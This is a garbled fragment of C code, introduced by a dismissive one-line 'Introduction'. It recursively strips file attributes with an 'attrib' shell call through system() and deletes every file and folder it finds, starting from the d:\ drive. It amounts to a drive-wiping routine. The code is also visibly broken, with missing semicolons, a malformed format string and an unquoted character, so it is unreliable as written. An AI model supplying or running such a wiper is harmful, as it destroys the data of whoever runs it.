Introduction - If you have any usage issues, please Google them yourself
sprintf(cmd,"attrib-s-r-h s",FileInfo.name)
system(cmd)
if( FileInfo.attrib == FILE_ATTRIBUTE_FILE)
DeleteFile(FileInfo.name)
else if(FileInfo.attrib == FILE_ATTRIBUTE_DIRECTORY){
if( FileInfo.name[0] != . ) {
_chdir(FileInfo.name)
MyDeleteFile()
_chdir("..")
}
}
}while(!_findnext(lHandle,&FileInfo))
_findclose(lHandle)
}
int main(){
if(_chdir("d:\\"))
exit(1)